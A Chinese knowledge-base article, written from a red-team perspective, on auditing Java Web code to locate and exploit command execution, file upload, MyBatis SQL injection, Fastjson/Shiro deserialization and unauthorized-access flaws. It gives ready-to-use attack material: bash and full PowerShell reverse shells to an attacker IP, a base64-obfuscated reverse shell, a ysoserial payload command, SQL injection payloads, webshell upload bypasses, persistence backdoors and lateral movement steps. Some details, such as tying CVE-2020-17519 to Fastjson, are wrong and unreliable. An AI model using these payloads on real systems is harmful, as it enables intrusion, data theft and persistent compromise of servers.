云计算百科
云计算领域专业知识百科平台

红队利刃:Java Web代码审计快速打点实战——从漏洞定位到服务器控制权的精准突破

在红队攻防实战中,Java Web作为企业级应用的主流技术栈,是渗透测试的核心目标之一。与白盒审计的“全面扫漏、合规整改”不同,红队视角下的Java Web代码审计,核心逻辑是以“快速打点、获取权限、横向扩展”为唯一目标,摒弃无意义的低危漏洞挖掘,聚焦高危害、易利用、能直接落地的漏洞点,通过“关键词定位-输入溯源-漏洞验证-实战利用”的闭环流程,在最短时间内实现从代码到服务器控制权的突破。

随着Java生态的不断升级,从传统SSM框架到SpringBoot微服务、云原生部署,Java Web的代码结构、依赖管理、防护机制都发生了显著变化,漏洞形式也从传统的命令执行、SQL注入,延伸到框架原生漏洞、反序列化变种、微服务间通信漏洞等新型风险。本文将结合红队实战思维,从前置准备、高价值漏洞实战审计、打点流程、避坑技巧、前沿趋势应对五个维度,全面讲解Java Web代码审计的快速打点方法,同时适配当前主流SpringBoot生态的审计特征,兼顾传统Java Web项目,让审计工作更具实战性和前瞻性。

一、红队审计前置准备:高效打点的基础保障

红队审计的核心是“不做无用功”,前置准备的目标是快速掌握目标项目的技术栈全貌、源码结构、可控输入入口、敏感配置位置,为后续精准定位漏洞打下基础。与常规审计的“逐行阅读”不同,红队的前置准备更强调“工具化、轻量化、针对性”,通过工具快速提取关键信息,避免在无关代码上浪费时间。

1. 核心工具集:分场景适配,提升审计效率

红队审计的工具选择遵循“轻量高效、功能互补”原则,分为反编译、代码检索、漏洞验证、利用辅助四大类,同时适配Windows/Linux终端环境,满足内网/外网审计的不同需求。部分工具支持命令行模式,可快速集成到自动化审计脚本中,提升批量审计效率。

工具类型核心推荐工具实战优势适用场景
反编译工具 Fernflower(IDEA插件)、JD-GUI、Luyten Fernflower反编译精度最高,支持SpringBoot可执行JAR包;Luyten支持反编译后代码格式化 本地审计源码/JAR包;快速查看class文件核心逻辑
代码搜索工具 IDEA全局搜索、ripgrep、ack-grep ripgrep/ack-grep命令行检索速度远快于原生find,支持正则匹配,可批量检索危险关键词;IDEA支持溯源代码调用链 快速定位危险函数/敏感关键词;跟踪代码执行流程
漏洞验证工具 Burp Suite Pro、PostMan、JDWP远程调试 Burp支持请求篡改、payload编码、WAF绕过;JDWP可远程调试目标项目,确认漏洞触发点 验证漏洞是否可利用;调试payload执行流程
利用辅助工具 ysoserial、SQLMap、JSP Webshell生成器 ysoserial支持主流反序列化gadget生成;SQLMap适配Java生态的SQL注入,支持Cookie/Header注入;webshell生成器适配不同Tomcat版本 生成漏洞利用payload;自动化SQL注入拿数据;上传GetShell
配置分析工具 ConfigExtractor(自定义脚本)、WinHex 快速提取配置文件中的数据库密码、密钥、接口地址;WinHex可查看二进制配置文件 从配置文件中获取敏感信息;辅助横向渗透

2. 目标信息快速收集:红队优先关注的五大核心维度

信息收集的深度直接决定审计效率,红队需聚焦**“与漏洞利用强相关”**的信息,避免收集无关的项目业务细节。通过反编译工具打开源码/JAR包后,优先查看以下五大维度,10分钟内完成项目核心信息梳理:

  • 技术栈框架:确认核心框架(传统SSM/SpringBoot/SpringCloud)、ORM框架(MyBatis/Hibernate/JPA)、Web容器(Tomcat/Jetty/Undertow)、序列化框架(Fastjson/Jackson/Gson)、权限框架(Shiro/Spring Security);框架版本是关键,需记录各框架的具体版本,匹配对应版本的原生漏洞(如SpringBoot Actuator未授权、Fastjson 1.2.47反序列化、Shiro 1.2.4反序列化等)。
  • 源码目录结构:快速定位核心目录——控制器层(controller/action)、业务逻辑层(service)、数据访问层(dao/mapper)、配置目录(config/resources)、上传目录(upload/file)、后台管理模块(admin/manager);控制器层是可控输入的核心入口,需重点标记所有@RequestMapping注解的接口。
  • 用户可控输入:梳理所有接收用户输入的位置,包括HTTP请求参数(@RequestParam/@PathVariable)、请求体(@RequestBody)、Cookie、Header、文件上传流;标记无参数校验/过滤的输入接口,这是漏洞的高概率触发点。
  • 敏感配置文件:定位配置文件位置(application.yml/application.properties、jdbc.properties、shiro.ini、redis.properties),快速提取数据库连接信息、Redis密码、JWT密钥、Shiro加密密钥等;这些敏感信息不仅能辅助漏洞利用,还能直接作为横向渗透的突破口。
  • 文件存储与访问:确认文件上传的保存路径、静态资源的访问路径,判断是否为Web容器的可访问目录;若上传文件保存在/webapps/ROOT/等目录下,文件上传漏洞的利用价值将大幅提升。

3. 红队专属审计技巧:黑盒+白盒结合,缩小审计范围

在实际红队实战中,常遇到仅有黑盒访问权限、部分源码/全量JAR包的情况,纯白盒审计的场景较少。此时可通过“黑盒探测+白盒审计”的结合方式,先通过黑盒工具(如Burp、Nmap)探测目标的可用接口、框架特征、防护措施(如WAF、接口过滤),再在白盒审计中聚焦这些探测到的接口和模块,大幅缩小审计范围,提升打点效率。

例如:通过黑盒探测发现目标存在/api/exec、/api/upload接口,且响应头包含SpringBoot/2.2.6.RELEASE,那么在白盒审计中可直接搜索这两个接口的控制器代码,同时检查SpringBoot 2.2.6版本是否存在原生漏洞,无需逐行阅读整个项目的代码。

二、红队优先审计的高价值漏洞:从代码到打点的精准突破

红队审计的核心原则是**“危害优先、利用优先、落地优先”,即优先挖掘利用难度低、危害等级高、能直接实现拿权限/拿数据/横向扩展**的漏洞,低危漏洞(如单纯的XSS、未加密的敏感信息传输)除非能辅助高价值漏洞利用,否则一律暂时忽略。

结合当前Java Web的技术栈现状,从传统SSM到SpringBoot微服务,红队将以下漏洞按利用价值从高到低排序,同时针对每个漏洞提供审计特征、实战代码案例、漏洞验证、实战利用、绕过技巧,覆盖从代码定位到实际打点的全流程,兼顾传统漏洞和新型框架漏洞,让审计结果直接服务于攻防实战。

1. 命令执行/代码执行:直接拿服务器控制权的“终极漏洞”

命令执行/代码执行是红队审计中价值最高的漏洞,利用成功后可直接获取目标服务器的系统权限,实现一键打点,也是外网渗透中最优先挖掘的漏洞类型。该漏洞的核心触发条件是:用户可控输入直接/间接传入危险执行函数,且无有效过滤/转义。

随着Java生态的防护升级,直接的命令执行漏洞已逐渐减少,但在运维管理模块、第三方集成接口、自定义工具类中仍频繁出现,且SpringBoot生态中因简化开发,部分开发者会忽略参数校验,导致漏洞触发概率提升。

(1)核心审计特征:精准定位可疑代码

通过关键词全局搜索即可快速定位可疑代码,红队需重点搜索以下危险函数和注解,同时跟踪函数的输入参数是否为用户可控:

  • 命令执行核心函数:Runtime.getRuntime().exec()、ProcessBuilder.start()、ProcessImpl.start();
  • 代码执行核心函数:ScriptEngineManager.eval()、ClassLoader.loadClass()、Method.invoke();
  • 关键注解:@RequestMapping、@PostMapping、@GetMapping(标记接口入口);
  • 输入参数注解:@RequestParam、@PathVariable、@RequestBody(标记用户可控输入)。

审计关键:判断输入参数是否直接传入危险函数,或经过简单的字符串拼接后传入,且无任何过滤(如黑名单过滤、白名单校验、特殊字符转义)。

(2)实战审计案例:传统SSM+SpringBoot双场景
案例1:传统SSM框架的直接命令执行漏洞

// 漏洞代码:运维管理模块的cmd执行接口,用户输入的cmd参数直接传入exec执行
@Controller
@RequestMapping("/admin/ops")
public class OpsController {
@RequestMapping("/execCmd")
@ResponseBody
public String execCmd(@RequestParam String cmd) throws Exception {
// 无任何过滤,用户输入直接执行
Process process = Runtime.getRuntime().exec(cmd);
// 读取执行结果并返回
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\\n");
}
return sb.toString();
}
}

案例2:SpringBoot框架的拼接式命令执行漏洞

// 漏洞代码:自定义工具类的ping接口,用户输入的ip参数拼接后传入exec执行
@RestController
@RequestMapping("/tool")
public class ToolController {
@GetMapping("/ping")
public String ping(@RequestParam String ip) throws Exception {
// 看似有固定前缀,实则拼接用户输入,仍存在命令执行
String cmd = "ping -c 3 " + ip;
Process process = new ProcessBuilder(cmd.split(" ")).start();
// 省略结果读取代码
return "ping结果:" + ip;
}
}

(3)红队实战利用:从payload构造到反弹shell

命令执行漏洞的利用核心是构造适配目标系统的payload,同时考虑目标的网络环境(外网/内网)、防护措施(WAF、命令过滤),优先实现反弹shell(直接拿服务器权限),若网络受限则执行本地命令(拿敏感信息、上传webshell)。

  • 系统适配:Linux系统使用bash/sh反弹shell,Windows系统使用powershell/cmd;
    • Linux反弹shell payload:bash -i >& /dev/tcp/红队IP/监听端口 0>&1
    • Windows反弹shell payload:powershell -c "$client = New-Object System.Net.Sockets.TCPClient('红队IP',监听端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$x = ($error[0] | Out-String);if($x){$sendback2 = $sendback2 + $x};$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  • 网络受限处理:若目标服务器无法访问外网,可执行cat /etc/passwd、find / -name *.jsp、cat 数据库配置文件等命令获取敏感信息,或通过wget/ curl从红队内网服务器下载webshell;
  • 本地监听:使用nc工具在红队服务器上监听端口:nc -lvvp 监听端口,接收目标服务器的反弹shell;
  • WAF/过滤绕过:若目标存在命令过滤(如过滤bash、|、&),可通过base64编码、特殊字符拼接、绝对路径执行绕过,例如:echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMwMCAwPiYx | base64 -d | bash(base64编码绕过)。
  • (4)前瞻性防护绕过:SpringBoot的ProcessBuilder坑点

    SpringBoot中部分开发者会使用ProcessBuilder的command方法传入参数,看似避免了拼接,但若将用户输入直接作为command方法的参数数组元素,仍可能存在命令执行;此外,SpringBoot的可执行JAR包运行时,若开启了exec权限,漏洞利用的成功率会更高。红队审计时需重点检查ProcessBuilder的参数传递方式,避免漏判漏洞。

    2. 文件上传漏洞:GetShell的“经典利器”

    文件上传漏洞是红队打点的核心漏洞之一,利用成功后可通过上传webshell实现服务器的持久化控制,且该漏洞在Java Web项目的用户头像上传、附件上传、资料上传等模块中频繁出现。随着开发者防护意识的提升,单纯的无校验文件上传已减少,但校验缺陷、解析漏洞、路径可控等问题仍导致该漏洞极易被利用,尤其是Tomcat、Jetty等中间件的解析漏洞,可直接绕过开发者的自定义过滤。

    (1)核心审计特征:三要素定位漏洞

    文件上传漏洞的触发需要满足三个核心条件,红队审计时需同时验证,缺一不可:

  • 校验缺陷:仅校验文件后缀(如黑名单过滤.jsp/.jspx)、未校验文件内容(如是否为真实的图片/文档)、未校验文件头(如图片的FF D8 FF);
  • 路径可控:上传后的文件保存在Web容器的可访问目录(如Tomcat的/webapps/ROOT/、/upload/),可通过HTTP请求直接访问;
  • 无重命名/重命名缺陷:上传的文件未进行随机重命名(如使用UUID+后缀),或重命名仅修改前缀,后缀仍可控。
  • 通过以下关键词快速定位可疑代码:

    • 文件上传核心函数:MultipartFile.transferTo()、FileOutputStream.write()、Files.copy();
    • 后缀校验关键词:endsWith()、contains()、indexOf()、StringUtils.endsWithAny();
    • 路径相关关键词:getOriginalFilename()、getPath()、File.separator、getResource()。
    (2)实战审计案例:SpringBoot的后缀校验绕过漏洞

    // 漏洞代码:用户头像上传接口,仅做黑名单后缀过滤,无文件内容校验,无随机重命名
    @RestController
    @RequestMapping("/user")
    public class UserController {
    // 上传路径为Tomcat可访问目录
    private static final String UPLOAD_PATH = "/usr/local/tomcat/webapps/ROOT/upload/";

    @PostMapping("/uploadAvatar")
    public String uploadAvatar(@RequestParam("file") MultipartFile file) throws Exception {
    if (file.isEmpty()) {
    return "文件为空";
    }
    // 获取原始文件名
    String fileName = file.getOriginalFilename();
    // 黑名单过滤:禁止上传jsp、jspx、php文件
    if (fileName.endsWith(".jsp") || fileName.endsWith(".jspx") || fileName.endsWith(".php")) {
    return "禁止上传危险文件";
    }
    // 无随机重命名,直接保存
    File dest = new File(UPLOAD_PATH + fileName);
    if (!dest.getParentFile().exists()) {
    dest.getParentFile().mkdirs();
    }
    // 写入文件
    file.transferTo(dest);
    // 返回文件访问路径
    return "上传成功:http://localhost/upload/" + fileName;
    }
    }

    (3)红队实战利用:多维度绕过,上传JSP Webshell

    针对上述漏洞,红队可通过后缀绕过、解析漏洞、00截断等方式,上传可执行的JSP Webshell,实现GetShell。以下是适配Java Web的主流绕过方法,按利用成功率从高到低排序:

  • 后缀变种绕过:利用Tomcat的解析特性,上传.jspx、.jspf、.jsw等后缀的webshell,若开发者仅过滤了.jsp,则可直接绕过;
  • 00截断绕过:上传shell.jsp%00.png,利用文件系统的00截断特性,将文件实际保存为shell.jsp,适用于Java 7及以下版本(Java 8已修复该漏洞);
  • 文件头欺骗绕过:在JSP Webshell前添加图片文件头(如FF D8 FF E0 00 10 4A 46 49 46 00 01),将文件命名为shell.jpg.jsp,绕过简单的文件内容校验;
  • Tomcat解析漏洞绕过:利用Tomcat 7.x/8.x的解析漏洞(如CVE-2017-12615),将文件上传为shell.jsp/或shell.jsp%20,Tomcat会忽略末尾的/或空格,将文件解析为JSP文件。
  • 实战步骤:

  • 生成适配Tomcat版本的JSP Webshell(如冰蝎、蚁剑的免杀webshell);
  • 通过Burp篡改请求,将文件名改为shell.jspx或shell.jpg.jsp,添加图片文件头;
  • 上传文件后,通过返回的访问路径访问webshell,连接冰蝎/蚁剑,实现服务器控制;
  • 若上传路径不可访问,可结合目录遍历漏洞,找到Web容器的可访问目录,重新构造上传路径。
  • (4)前瞻性应对:云原生部署下的文件上传新风险

    在云原生场景下,Java Web项目常通过Docker部署,文件上传的保存路径可能为Docker容器内的目录,若容器开启了宿主机目录挂载,则上传的webshell可直接访问宿主机的文件系统,危害大幅提升;此外,微服务架构中,文件上传服务常作为独立的微服务,若未做跨服务权限校验,可通过该服务向其他微服务的目录上传文件。红队审计时需重点检查文件上传的保存路径是否为挂载目录、微服务间的文件传输是否有校验,挖掘云原生场景下的专属漏洞。

    3. SQL注入漏洞:快速拿敏感数据的“核心手段”

    SQL注入漏洞是红队获取业务数据、辅助横向渗透的核心漏洞,利用成功后可获取数据库中的管理员账号密码、用户信息、业务数据等,这些信息可进一步用于登录后台、破解其他系统账号、实现横向扩展。Java Web项目中,SQL注入漏洞的产生主要源于开发者未使用预编译语句、ORM框架使用不当,其中MyBatis框架因灵活的SQL编写方式,成为SQL注入漏洞的重灾区。

    随着SpringBoot生态的普及,JPA/Hibernate等ORM框架的使用比例提升,原生JDBC的SQL注入已减少,但MyBatis的**${}拼接、动态SQL拼接、存储过程调用**仍导致SQL注入漏洞频繁出现,且该类漏洞更具隐蔽性,需结合ORM框架的特性进行审计。

    (1)核心审计特征:按ORM框架分类定位

    Java Web项目的SQL注入漏洞与ORM框架强相关,红队需按原生JDBC、MyBatis、Hibernate/JPA分类审计,不同框架的审计特征差异显著,通过关键词可快速定位:

    ORM框架审计关键词漏洞核心原因高概率出现位置
    原生JDBC Statement、String拼接、executeQuery 使用Statement而非PreparedStatement,用户输入直接拼接SQL 老旧项目、自定义数据访问工具类
    MyBatis ${}、@Select、

    审计关键:判断用户可控输入是否通过非预编译方式传入SQL语句,尤其是MyBatis的${}拼接,即使是简单的排序、分页参数,也可能存在SQL注入。

    (2)实战审计案例:MyBatis的${}拼接SQL注入漏洞
    案例1:MyBatis注解式${}拼接注入

    // 漏洞代码:用户查询接口,排序字段sort使用${}拼接,存在SQL注入
    @Mapper
    public interface UserMapper {
    // 错误写法:${sort}直接拼接,无预编译
    @Select("select id, username, password from user order by ${sort}")
    List<User> listUser(@Param("sort") String sort);
    }

    // 控制器层:sort参数为用户可控输入
    @RestController
    @RequestMapping("/user")
    public class UserController {
    @Autowired
    private UserMapper userMapper;

    @GetMapping("/list")
    public List<User> list(@RequestParam String sort) {
    return userMapper.listUser(sort);
    }
    }

    案例2:MyBatis XML映射文件的动态SQL拼接注入

    <!– 漏洞代码:XML映射文件中,根据用户输入的type拼接SQL,无过滤 –>
    <select id="listOrder" resultType="com.entity.Order">
    select * from order
    <where>
    1=1
    <if test="type != null and type != ''">
    and type = ${type}
    </if>
    </where>
    </select>

    (3)红队实战利用:从报错注入到脱库,适配Java生态

    Java Web项目的SQL注入利用需适配数据库类型(MySQL/Oracle/SQL Server)、框架过滤特性、WAF防护措施,红队优先使用报错注入、联合查询注入,快速获取敏感数据,若注入点为盲注,则使用SQLMap自动化脱库。

    实战利用技巧:

  • 报错注入优先:构造payload触发数据库报错,直接获取数据,适用于有错误信息返回的接口,例如MySQL的updatexml、extractvalue报错注入:
    • payload:1 and updatexml(1,concat(0x7e,(select concat(username,':',password) from admin limit 1),0x7e),1)
  • 分页/排序参数注入:针对MyBatis的排序字段注入,构造payload实现数据查询,例如:sort=id desc, (select password from admin limit 1)
  • SQLMap自动化利用:将Burp中的请求包保存为txt文件,使用SQLMap执行sqlmap -r request.txt -p sort –dbs,自动化检测注入类型、脱库,适配Java生态的Cookie/Header注入、参数过滤;
  • 敏感数据利用:获取数据库中的管理员密码后,优先尝试密码复用(登录后台、服务器、其他系统),若密码加密(如MD5/SHA256),可通过彩虹表破解,或直接使用加密密码尝试登录(部分系统未做密码加盐)。
  • (4)前瞻性审计:微服务下的SQL注入新形式

    微服务架构中,Java Web项目的数据库访问常通过分布式数据库中间件(如Sharding-JDBC)、服务注册发现(如Nacos/Eureka)实现,此时SQL注入漏洞可能出现在中间件的SQL解析层、微服务间的参数传递层,例如:Sharding-JDBC对某些特殊SQL的解析缺陷,导致开发者的预编译失效;微服务间传递的查询参数未做过滤,导致下游服务出现SQL注入。红队审计时需重点检查分布式数据库中间件的使用版本、微服务间的参数校验机制,挖掘微服务场景下的SQL注入漏洞。

    4. 反序列化漏洞:高危害的“框架级漏洞”

    反序列化漏洞是Java Web生态中危害等级最高、利用难度中等的框架级漏洞,利用成功后可直接实现命令执行、代码执行,且该漏洞常出现在框架原生组件、序列化框架、第三方依赖中,无需开发者编写错误代码,仅需使用存在漏洞的框架/依赖版本,即可触发。

    随着Fastjson、Shiro、Spring等主流框架的漏洞修复,传统的反序列化漏洞已减少,但第三方依赖的反序列化漏洞、自定义序列化机制的漏洞仍频繁出现,且红队可通过寻找未修复的漏洞版本、构造适配的gadget实现利用。该漏洞是红队内网渗透、批量打点的核心利器,尤其是在目标存在多个使用相同框架版本的Java Web项目时,可实现一次利用、批量打点。

    (1)核心审计特征:三要素定位漏洞

    Java反序列化漏洞的触发需要满足三个核心条件,红队审计时需同时验证:

  • 可控反序列化入口:用户可控输入(如HTTP请求体、Cookie、Header)直接传入反序列化方法;
  • 存在危险反序列化方法:项目中使用了ObjectInputStream.readObject()、Fastjson.parseObject()、Shiro的rememberMe反序列化等危险方法;
  • 存在可利用的gadget:项目的依赖包中包含可利用的gadget(如Commons Collections、Commons Beanutils、C3P0),且版本存在漏洞。
  • 通过以下关键词快速定位可疑代码/依赖:

    • 反序列化核心方法:ObjectInputStream.readObject()、Fastjson.parseObject()、Jackson.readValue()、Gson.fromJson();
    • 框架相关关键词:Shiro、rememberMe、Fastjson、@JsonProperty;
    • 危险依赖:commons-collections、commons-beanutils、c3p0、javassist。

    审计关键:优先检查框架版本(如Fastjson <1.2.83、Shiro <1.4.2)、依赖包版本,再验证是否存在可控的反序列化入口,框架版本是决定漏洞是否可利用的核心。

    (2)实战审计案例:Fastjson反序列化漏洞(CVE-2020-17519)

    // 漏洞代码:SpringBoot接口,使用Fastjson 1.2.60解析用户输入的JSON数据,存在反序列化漏洞
    @RestController
    @RequestMapping("/json")
    public class JsonController {
    @PostMapping("/parse")
    public String parse(@RequestBody String jsonStr) throws Exception {
    // 使用Fastjson直接解析用户输入的JSON字符串,无任何过滤
    Object obj = JSON.parseObject(jsonStr);
    return "解析成功:" + obj.toString();
    }
    }

    漏洞关键:项目使用了Fastjson 1.2.60版本(存在CVE-2020-17519漏洞),且用户输入的JSON字符串直接传入JSON.parseObject()方法,无任何防护。

    (3)红队实战利用:ysoserial生成payload,实现命令执行

    反序列化漏洞的利用核心是生成适配目标框架/依赖版本的gadget payload,红队主要使用ysoserial工具生成payload,同时结合Burp进行payload编码、传输,实现命令执行。

    实战步骤(以Fastjson为例):

  • 确认目标版本:通过黑盒探测/白盒审计,确认Fastjson的版本为1.2.60(适配CVE-2020-17519);
  • 生成payload:使用ysoserial生成适配的payload,命令:java -jar ysoserial.jar Fastjson1 "bash -i >& /dev/tcp/红队IP/监听端口 0>&1" > payload.txt;
  • payload传输:通过Burp将payload.txt中的内容作为请求体,发送到/json/parse接口,设置请求头Content-Type: application/json;
  • 本地监听:使用nc工具监听端口,接收反弹shell,实现服务器控制。
  • Shiro反序列化漏洞利用技巧:Shiro的rememberMe Cookie经过加密,需先破解加密密钥(可通过github上的Shiro密钥字典爆破工具),再使用ysoserial生成payload,加密后替换rememberMe Cookie,发送请求即可触发漏洞。

    (4)前瞻性应对:自定义序列化/反序列化的新漏洞

    随着开发者对框架反序列化漏洞的防护意识提升,部分项目会使用自定义序列化机制(如自定义ObjectInputStream的子类、自定义JSON解析规则),若自定义机制中存在过滤缺陷、解析缺陷,则会产生新型的反序列化漏洞,且该类漏洞无公开的exp,防护难度更高。红队审计时需重点检查自定义序列化/反序列化的代码,判断是否存在可控的输入、是否有有效的过滤机制,挖掘0day漏洞的可能性。

    5. 未授权访问/越权操作:快速横向扩展的“敲门砖”

    未授权访问/越权操作(水平越权/垂直越权)是红队内网渗透、横向扩展的核心漏洞,利用成功后可直接访问后台管理模块、获取敏感业务数据、操作其他用户的账号,且该漏洞的利用难度最低、出现概率最高,在Java Web项目的权限校验模块、接口开发模块中频繁出现。

    随着Spring Security、Shiro等权限框架的普及,纯手工的权限校验已减少,但开发者的配置失误、接口未做权限拦截、权限校验逻辑错误仍导致该漏洞频繁出现,尤其是SpringBoot框架中,因简化开发,部分开发者会忽略对后台接口的权限校验,导致未授权访问。

    (1)核心审计特征:精准定位权限校验缺陷

    未授权访问/越权操作的核心审计特征是权限校验缺失/逻辑错误,红队需重点检查以下内容,通过关键词快速定位:

    • 未授权访问:接口无任何权限校验注解(如Spring Security的@PreAuthorize、Shiro的@RequiresPermissions),无session/Token校验,任何人可直接访问;
      关键词:@RequestMapping、@RestController(无权限注解搭配)、HttpSession.getAttribute()(无session校验);
    • 水平越权:用户输入的唯一标识(如用户ID、订单ID)直接作为查询条件,未校验该标识是否归属于当前登录用户;
      关键词:@PathVariable("id")、user.getId()、order.getOrderId()(无归属权校验);
    • 垂直越权:低权限用户可访问高权限接口,权限校验的角色/权限判断逻辑错误(如将admin写为user);
      关键词:@PreAuthorize("hasRole('user')")、RequiresRoles("user")(角色判断错误)。

    审计关键:优先检查后台管理模块的接口、敏感业务接口(如用户查询、订单管理、数据导出),这些接口的权限校验缺陷带来的危害最大。

    (2)实战审计案例:SpringBoot的后台接口未授权访问漏洞

    // 漏洞代码:后台管理的用户数据查询接口,无任何权限校验,任何人可直接访问
    @RestController
    @RequestMapping("/admin")
    public class AdminController {
    @Autowired
    private UserService userService;

    // 无@PreAuthorize、无Shiro注解、无session校验,未授权访问
    @GetMapping("/getAllUser")
    public List<User> getAllUser() {
    // 直接返回所有用户的敏感信息(包括密码)
    return userService.listAll();
    }

    // 水平越权:用户ID为用户可控输入,未校验归属权
    @GetMapping("/getUser/{id}")
    public User getUser(@PathVariable Integer id) {
    return userService.getById(id);
    }
    }

    (3)红队实战利用:从信息收集到横向扩展

    未授权访问/越权操作的利用核心是快速获取敏感信息、扩大攻击面,红队利用该漏洞时,优先实现以下目标,为后续打点和横向扩展打下基础:

  • 获取敏感数据:访问未授权的后台接口,获取所有用户的账号密码、业务数据、服务器配置信息等;
  • 登录后台管理系统:利用获取的管理员账号密码,登录后台管理系统,操作后台功能(如文件上传、命令执行、数据导出),进一步实现GetShell;
  • 水平越权操作:通过修改用户ID/订单ID,访问其他用户的敏感信息(如银行卡号、手机号),或操作其他用户的账号(如转账、改密码);
  • 横向扩展:将获取的账号密码用于密码复用,尝试登录目标服务器、数据库、其他业务系统,实现内网横向渗透。
  • 实战技巧:若未授权访问的接口提供数据导出功能,可通过导出功能将数据库中的所有数据保存为Excel/CSV文件,快速获取全量敏感数据,提升打点效率。

    (4)前瞻性审计:微服务的服务间未授权访问

    微服务架构中,Java Web项目的微服务间通信常通过Feign、Dubbo、RestTemplate实现,若微服务间未做服务认证、接口权限校验,则会出现服务间未授权访问漏洞,红队可通过该漏洞访问其他微服务的敏感接口,获取微服务的配置信息、业务数据,甚至实现跨微服务的命令执行。红队审计时需重点检查微服务间的通信配置、服务认证机制,挖掘微服务场景下的未授权访问漏洞。

    三、红队Java Web审计快速打点实战流程:从代码到控制权的闭环

    红队审计的核心是**“落地利用”,所有的漏洞挖掘都为打点服务。结合上述高价值漏洞的审计和利用方法,红队形成了“快速扫描-输入溯源-漏洞验证-实战利用-横向扩展”的标准化打点流程,该流程适配纯白盒、黑盒+白盒、仅JAR包**等所有审计场景,能在最短时间内实现从代码到服务器控制权的突破,同时兼顾审计效率和利用成功率。

    1. 第一步:快速扫描——关键词定位可疑代码,缩小审计范围

    使用ripgrep/IDEA全局搜索,针对上述高价值漏洞的核心审计关键词进行批量扫描,将扫描结果按“漏洞类型、接口位置、输入参数”分类,标记高概率漏洞点。此步骤的目标是在10-15分钟内定位所有可疑代码,避免逐行阅读,提升审计效率。

    扫描优先级:命令执行/代码执行 > 文件上传 > 反序列化 > SQL注入 > 未授权访问/越权操作,按利用价值从高到低扫描,优先处理高价值漏洞的可疑代码。

    2. 第二步:输入溯源——跟踪代码执行流程,确认漏洞是否可利用

    针对扫描到的可疑代码,通过IDEA的代码调用链跟踪功能,从接口入口开始,逐行跟踪输入参数的传递流程、过滤机制、最终触发点,确认以下核心问题:

  • 输入参数是否为用户可控(如HTTP请求参数、Cookie、Header);
  • 输入参数是否经过有效过滤/转义(如黑名单、白名单、特殊字符转义),过滤机制是否可绕过;
  • 输入参数是否最终触达危险函数/危险操作(如exec()、transferTo()、${}拼接)。
  • 此步骤的核心是避免误判漏洞,例如:看似存在命令执行的可疑代码,但输入参数经过了严格的白名单校验,此时该代码无利用价值,可直接跳过。

    3. 第三步:漏洞验证——搭建简易环境,验证漏洞触发条件

    针对确认的可利用漏洞,搭建与目标技术栈一致的简易测试环境(如相同的SpringBoot版本、Tomcat版本、依赖版本),通过Burp/PostMan构造payload,验证漏洞是否能成功触发。

    验证原则:

  • 环境一致性:测试环境的框架版本、依赖版本、Web容器版本需与目标一致,避免因环境差异导致漏洞无法触发;
  • 最小化验证:先构造简单的payload验证漏洞是否存在(如命令执行漏洞执行whoami,SQL注入漏洞执行1+1),再构造复杂的payload实现利用;
  • 考虑防护措施:若目标存在WAF、接口过滤,需在验证时模拟防护措施,测试payload的绕过效果。
  • 4. 第四步:实战利用——构造针对性payload,实现快速打点

    针对验证成功的漏洞,结合目标的系统环境(Linux/Windows)、网络环境(外网/内网)、防护措施(WAF/过滤),构造针对性的payload,实现漏洞利用,完成快速打点。

    利用优先级:

    • 外网环境:优先实现反弹shell/GetShell(直接拿服务器权限),若网络受限则优先获取敏感数据(管理员密码、业务数据);
    • 内网环境:优先实现未授权访问/横向越权(扩大攻击面),再结合反序列化/命令执行漏洞实现内网横向渗透。

    5. 第五步:横向扩展——利用打点结果,扩大攻击范围

    完成单点打点后,红队的核心目标是**“横向扩展、拿下整个内网”**,利用打点获取的服务器权限、敏感信息,进行以下操作:

  • 服务器内信息收集:执行ifconfig/ipconfig、cat /etc/passwd、netstat -anp等命令,获取服务器的内网IP、开放端口、用户信息、其他服务信息;
  • 密码复用:将获取的管理员密码、数据库密码,尝试登录内网的其他服务器、数据库、业务系统;
  • 内网端口扫描:利用已控制的服务器,对内网进行端口扫描,发现其他可攻击的目标;
  • 持久化控制:在服务器上植入后门(如定时任务、隐藏webshell、远控木马),实现持久化访问,避免被目标发现后失去控制权。
  • 四、红队审计避坑点:实战中易踩的坑与解决方案

    在Java Web代码审计的实战中,红队常因框架特性、防护措施、环境差异等问题,出现漏洞误判、利用失败的情况,这些问题不仅浪费审计时间,还可能导致打点失败。结合红队实战经验,总结以下五大易踩坑点,并提供对应的解决方案,提升漏洞挖掘和利用的成功率。

    1. 坑点1:误判过滤机制,认为漏洞可利用实则不可绕过

    问题:看似存在过滤缺陷,但开发者使用了框架自带的过滤机制、自定义的强过滤规则,导致payload无法绕过,漏洞实际不可利用;
    解决方案:审计时需完整跟踪过滤流程,不仅检查开发者的自定义过滤,还需检查框架自带的过滤(如Spring Security的XSS过滤、Tomcat的请求过滤);利用时先构造绕过测试payload,验证过滤机制的有效性,再构造正式的利用payload。

    2. 坑点2:忽略框架/依赖版本,导致payload无法触发漏洞

    问题:挖掘反序列化、框架原生漏洞时,忽略了框架/依赖的版本,使用了不适配的payload,导致漏洞无法触发;
    解决方案:审计时优先记录所有框架/依赖的版本,通过CVE库、漏洞平台(如NVD、CNVD)查询该版本是否存在可利用的漏洞;利用时使用版本适配的payload,例如:Fastjson 1.2.47使用Fastjson1 gadget,Fastjson 1.2.60使用Fastjson2 gadget。

    3. 坑点3:未考虑Web容器的解析特性,导致文件上传利用失败

    问题:上传了webshell,但因Tomcat/Jetty的解析特性、配置限制,无法通过HTTP请求访问,导致GetShell失败;
    解决方案:审计时确认Web容器的版本、解析配置(如Tomcat的web.xml配置);利用时结合Web容器的解析漏洞,构造适配的文件名,同时确认上传路径为Web容器的可访问目录。

    4. 坑点4:忽略网络环境限制,导致反弹shell失败

    问题:构造了正确的反弹shell payload,但因目标服务器处于内网、禁止访问外网端口、开启了防火墙,导致反弹shell失败;
    解决方案:利用前先通过黑盒探测确认目标的网络环境;若网络受限,优先执行本地命令获取敏感信息,或通过文件上传实现持久化控制,而非反弹shell。

